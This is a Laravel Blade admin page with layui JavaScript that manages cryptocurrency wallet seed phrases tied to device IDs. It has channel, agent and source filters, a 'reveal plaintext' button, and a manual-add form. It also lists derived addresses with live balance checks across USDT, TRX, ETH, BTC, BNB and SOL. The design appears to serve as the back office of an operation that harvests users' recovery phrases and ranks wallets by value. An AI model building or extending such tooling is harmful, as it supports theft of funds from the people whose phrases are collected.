440 lines
16 KiB
PHP
440 lines
16 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '助记词')
|
||
|
||
@section('content')
|
||
@php
|
||
$portal = $portal ?? 'admin';
|
||
$showOrigin = !empty($show_origin);
|
||
@endphp
|
||
<style>
|
||
.mn-wallet-wrap { padding: 12px 16px 16px; }
|
||
.mn-wallet-hd {
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: space-between;
|
||
gap: 12px;
|
||
margin-bottom: 10px;
|
||
}
|
||
.mn-wallet-meta { color: #666; font-size: 13px; }
|
||
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
|
||
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
||
.mn-wallet-table th,
|
||
.mn-wallet-table td {
|
||
border: 1px solid #e6e6e6;
|
||
padding: 8px 10px;
|
||
text-align: left;
|
||
vertical-align: top;
|
||
}
|
||
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
||
.mn-wallet-table .addr-cell {
|
||
font-family: Menlo, Monaco, Consolas, monospace;
|
||
max-width: 360px;
|
||
vertical-align: middle;
|
||
}
|
||
.mn-wallet-table .addr-cell .addr-row {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
min-width: 0;
|
||
}
|
||
.mn-wallet-table .addr-cell .addr-text {
|
||
flex: 1 1 auto;
|
||
min-width: 0;
|
||
overflow: hidden;
|
||
text-overflow: ellipsis;
|
||
white-space: nowrap;
|
||
}
|
||
.mn-wallet-table .addr-cell .mn-explorer {
|
||
flex: 0 0 auto;
|
||
font-family: inherit;
|
||
white-space: nowrap;
|
||
}
|
||
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||
.mn-inactive {
|
||
display: inline-block;
|
||
margin-left: 6px;
|
||
padding: 0 6px;
|
||
font-size: 11px;
|
||
line-height: 18px;
|
||
color: #cf8a00;
|
||
background: #fff7e6;
|
||
border: 1px solid #ffe0a3;
|
||
border-radius: 3px;
|
||
vertical-align: middle;
|
||
}
|
||
.mn-updating { color: #1e9fff; }
|
||
</style>
|
||
<div class="layui-card">
|
||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
||
<div class="layui-form-item">
|
||
@include('admin.partials.filter_channel_select')
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">设备 ID</label>
|
||
<div class="layui-input-block">
|
||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||
</div>
|
||
</div>
|
||
@include('admin.partials.filter_agent_select')
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">来源</label>
|
||
<div class="layui-input-block">
|
||
<select name="source">
|
||
<option value="">全部</option>
|
||
@foreach ($sources as $s)
|
||
<option value="{{ $s }}">{{ $s }}</option>
|
||
@endforeach
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-mn-search">搜索</button>
|
||
@if(!empty($can_create))
|
||
<button type="button" class="layui-btn layui-btn-normal" id="LAY-mn-create">手动添加</button>
|
||
@endif
|
||
</div>
|
||
</div>
|
||
</form>
|
||
<div class="layui-card-body">
|
||
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
|
||
<script type="text/html" id="LAY-mn-ops">
|
||
@if(!empty($can_reveal))
|
||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看明文</a>
|
||
@endif
|
||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
|
||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||
</script>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
@include('admin.partials.mnemonic_reveal')
|
||
<script>
|
||
layui.use(['table', 'form', 'layer'], function () {
|
||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||
var token = @json(csrf_token());
|
||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||
token: token,
|
||
google_bound: @json(!empty($google_bound)),
|
||
security_url: @json($google2fa_url ?? '')
|
||
});
|
||
|
||
function esc(v) {
|
||
return String(v == null ? '' : v)
|
||
.replace(/&/g, '&')
|
||
.replace(/</g, '<')
|
||
.replace(/>/g, '>')
|
||
.replace(/"/g, '"');
|
||
}
|
||
|
||
function coinVal(v) {
|
||
return (v === null || v === undefined || v === '') ? '—' : esc(v);
|
||
}
|
||
|
||
function explorerUrl(chain, address) {
|
||
var addr = String(address || '').trim();
|
||
if (!addr) return '';
|
||
var c = String(chain || '').trim().toUpperCase();
|
||
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
|
||
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
|
||
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
|
||
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
|
||
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
|
||
return '';
|
||
}
|
||
|
||
function addrCellHtml(r) {
|
||
var addr = r.address || '';
|
||
var url = explorerUrl(r.chain_type, addr);
|
||
var html = '<td class="addr-cell"><div class="addr-row">';
|
||
html += '<span class="addr-text" title="' + esc(addr) + '">' + esc(addr) + '</span>';
|
||
if (url) {
|
||
html += '<a class="layui-btn layui-btn-primary layui-btn-xs mn-explorer" href="' + esc(url) +
|
||
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
|
||
}
|
||
html += '</div></td>';
|
||
return html;
|
||
}
|
||
|
||
function renderWalletsHtml(payload) {
|
||
var rows = (payload && payload.addresses) || [];
|
||
var html = '<div class="mn-wallet-wrap">';
|
||
html += '<div class="mn-wallet-hd">';
|
||
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
|
||
(payload.source ? ' · ' + esc(payload.source) : '') +
|
||
' · 关联地址 ' + rows.length + ' 个' +
|
||
(payload.updating ? ' · <span class="mn-updating">正在更新</span>' : '') +
|
||
'</div>';
|
||
if (rows.length && payload.refresh_url) {
|
||
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
|
||
}
|
||
html += '</div>';
|
||
if (!rows.length) {
|
||
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
|
||
return html;
|
||
}
|
||
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
|
||
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
|
||
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th><th>SOL</th>' +
|
||
'<th>操作</th>' +
|
||
'</tr></thead><tbody>';
|
||
rows.forEach(function (r) {
|
||
var inactive = r.active === false;
|
||
html += '<tr>' +
|
||
'<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' +
|
||
'<td>' + esc(r.chain_type || '—') +
|
||
(inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' +
|
||
addrCellHtml(r) +
|
||
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
|
||
'<td class="coin-cell">' + coinVal(r.sol) + '</td>' +
|
||
'<td>—</td>' +
|
||
'</tr>';
|
||
});
|
||
html += '</tbody></table></div></div>';
|
||
return html;
|
||
}
|
||
|
||
function applyWalletsHtml(layero, payload) {
|
||
var html = renderWalletsHtml(payload);
|
||
var $wrap = layero.find('.mn-wallet-wrap').first();
|
||
if ($wrap.length) {
|
||
$wrap.replaceWith(html);
|
||
} else {
|
||
var $content = layero.find('.layui-layer-content').first();
|
||
if ($content.length) $content.html(html);
|
||
else layero.html(html);
|
||
}
|
||
bindRefresh(layero, payload);
|
||
}
|
||
|
||
function bindRefresh(layero, payload, auto) {
|
||
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
|
||
runWalletRefresh(layero, payload, false);
|
||
});
|
||
if (auto && payload.updating && payload.refresh_url) {
|
||
runWalletRefresh(layero, payload, true);
|
||
}
|
||
}
|
||
|
||
function runWalletRefresh(layero, payload, auto) {
|
||
var btn = layero.find('#LAY-mn-refresh-bal');
|
||
if (!payload.refresh_url) return;
|
||
if (btn.prop('disabled') && !auto) return;
|
||
btn.prop('disabled', true).addClass('layui-btn-disabled');
|
||
var loadIdx = auto ? null : layer.load(1, { shade: 0.1 });
|
||
$.ajax({
|
||
url: payload.refresh_url,
|
||
method: 'POST',
|
||
data: { _token: token },
|
||
success: function (res) {
|
||
if (loadIdx != null) layer.close(loadIdx);
|
||
if (!res || res.code !== 0) {
|
||
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||
if (!auto) layer.msg((res && res.msg) || '刷新失败');
|
||
return;
|
||
}
|
||
var next = res.data || {};
|
||
next.updating = false;
|
||
applyWalletsHtml(layero, next);
|
||
if (!auto) {
|
||
var ok = Number(next.refreshed || 0);
|
||
var fail = Number(next.failed || 0);
|
||
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
|
||
var cooldown = Number(next.retry_after || 60);
|
||
var nextBtn = layero.find('#LAY-mn-refresh-bal');
|
||
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
|
||
setTimeout(function () {
|
||
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||
}, cooldown * 1000);
|
||
}
|
||
},
|
||
error: function (xhr) {
|
||
if (loadIdx != null) layer.close(loadIdx);
|
||
var body = xhr.responseJSON || {};
|
||
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
|
||
if (xhr.status === 429) {
|
||
if (!auto) layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
|
||
payload.updating = false;
|
||
applyWalletsHtml(layero, payload);
|
||
if (!auto && retry > 0) {
|
||
var nextBtn = layero.find('#LAY-mn-refresh-bal');
|
||
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
|
||
setTimeout(function () {
|
||
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||
}, retry * 1000);
|
||
}
|
||
return;
|
||
}
|
||
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||
payload.updating = false;
|
||
applyWalletsHtml(layero, payload);
|
||
if (!auto) layer.msg(body.msg || body.message || '刷新失败');
|
||
}
|
||
});
|
||
}
|
||
|
||
function openWallets(row) {
|
||
var loadIdx = layer.load(1, { shade: 0.1 });
|
||
$.ajax({
|
||
url: row.wallets_url,
|
||
method: 'GET',
|
||
success: function (res) {
|
||
layer.close(loadIdx);
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '加载失败');
|
||
}
|
||
var payload = res.data || {};
|
||
if (!payload.refresh_url && row.refresh_url) {
|
||
payload.refresh_url = row.refresh_url;
|
||
}
|
||
layer.open({
|
||
type: 1,
|
||
title: '关联钱包 — 助记词 #' + row.id,
|
||
area: ['920px', '480px'],
|
||
shadeClose: true,
|
||
content: renderWalletsHtml(payload),
|
||
success: function (layero) {
|
||
bindRefresh(layero, payload, true);
|
||
}
|
||
});
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loadIdx);
|
||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
|
||
}
|
||
});
|
||
}
|
||
|
||
table.render({
|
||
elem: '#LAY-mn-list',
|
||
id: 'LAY-mn-list',
|
||
url: @json(route($portal.'.mnemonics.data')),
|
||
cols: [[
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'source', title: '来源', width: 140 },
|
||
{ field: 'mnemonic', title: '助记词', width: 160 },
|
||
{ field: 'device_key', title: '设备 ID', minWidth: 200 },
|
||
@if($showOrigin)
|
||
{ field: 'origin_device_key', title: '原设备', minWidth: 200, templet: function (d) {
|
||
return d.origin_device_key ? d.origin_device_key : '—';
|
||
}},
|
||
@endif
|
||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||
{ title: '操作', width: {{ !empty($can_reveal) ? 280 : 190 }}, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||
]],
|
||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||
request: { pageName: 'page', limitName: 'limit' },
|
||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||
});
|
||
form.on('submit(LAY-mn-search)', function (data) {
|
||
table.reload('LAY-mn-list', { where: data.field, page: { curr: 1 } });
|
||
return false;
|
||
});
|
||
@if(!empty($can_create))
|
||
var createUrl = @json(route('admin.mnemonics.store'));
|
||
var createSources = @json($create_sources ?? []);
|
||
|
||
function ajaxMsg(xhr, fallback) {
|
||
var body = (xhr && xhr.responseJSON) || {};
|
||
if (body.msg || body.message) return body.msg || body.message;
|
||
if (body.errors) {
|
||
var key = Object.keys(body.errors)[0];
|
||
if (key && body.errors[key] && body.errors[key][0]) return body.errors[key][0];
|
||
}
|
||
return fallback;
|
||
}
|
||
|
||
function openCreate() {
|
||
var options = createSources.map(function (s) {
|
||
return '<option value="' + esc(s) + '">' + esc(s) + '</option>';
|
||
}).join('');
|
||
layer.open({
|
||
type: 1,
|
||
title: '手动添加助记词',
|
||
area: ['560px', 'auto'],
|
||
content: '<form class="layui-form" style="padding:16px;" id="LAY-mn-create-form" lay-filter="LAY-mn-create-form">' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">设备 ID</label><div class="layui-input-block">' +
|
||
'<input name="device_id" class="layui-input" placeholder="设备 ID 或数字主键" autocomplete="off"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">来源</label><div class="layui-input-block">' +
|
||
'<select name="source"><option value="">请选择</option>' + options + '</select></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">助记词</label><div class="layui-input-block">' +
|
||
'<textarea name="mnemonic" class="layui-textarea" placeholder="12–24 个单词,空格分隔" rows="4"></textarea></div></div>' +
|
||
'</form>',
|
||
success: function (layero, index) {
|
||
form.render('select', 'LAY-mn-create-form');
|
||
var maxH = Math.max(240, window.innerHeight - 140);
|
||
var $content = layero.find('.layui-layer-content');
|
||
if ($content.outerHeight() > maxH) {
|
||
$content.css({ 'max-height': maxH + 'px', 'overflow-y': 'auto' });
|
||
layer.style(index, { top: Math.max(20, (window.innerHeight - layero.outerHeight()) / 2) + 'px' });
|
||
}
|
||
},
|
||
btn: ['保存', '取消'],
|
||
yes: function (index) {
|
||
var payload = {};
|
||
$('#LAY-mn-create-form').serializeArray().forEach(function (x) { payload[x.name] = x.value; });
|
||
if (!payload.device_id) return layer.msg('请输入设备 ID');
|
||
if (!payload.source) return layer.msg('请选择来源');
|
||
if (!payload.mnemonic) return layer.msg('请输入助记词');
|
||
var loadIdx = layer.load(1, { shade: 0.1 });
|
||
$.ajax({
|
||
url: createUrl,
|
||
method: 'POST',
|
||
data: {
|
||
_token: token,
|
||
device_id: payload.device_id,
|
||
source: payload.source,
|
||
mnemonic: payload.mnemonic
|
||
},
|
||
success: function (res) {
|
||
layer.close(loadIdx);
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '添加失败');
|
||
}
|
||
layer.close(index);
|
||
layer.msg(res.msg || '已添加');
|
||
table.reload('LAY-mn-list');
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loadIdx);
|
||
layer.msg(ajaxMsg(xhr, '添加失败'));
|
||
}
|
||
});
|
||
}
|
||
});
|
||
}
|
||
|
||
$('#LAY-mn-create').on('click', openCreate);
|
||
@endif
|
||
table.on('tool(LAY-mn-list)', function (obj) {
|
||
if (obj.event === 'reveal') {
|
||
revealMnemonic(obj.data);
|
||
return;
|
||
}
|
||
if (obj.event === 'wallets') {
|
||
openWallets(obj.data);
|
||
return;
|
||
}
|
||
if (obj.event !== 'detail') return;
|
||
var url = obj.data.detail_url;
|
||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||
try {
|
||
if (parent && parent.layui && parent.layui.index) {
|
||
parent.layui.index.openTabsPage(url, title);
|
||
return;
|
||
}
|
||
} catch (e) {}
|
||
location.href = url;
|
||
});
|
||
});
|
||
</script>
|
||
@endpush
|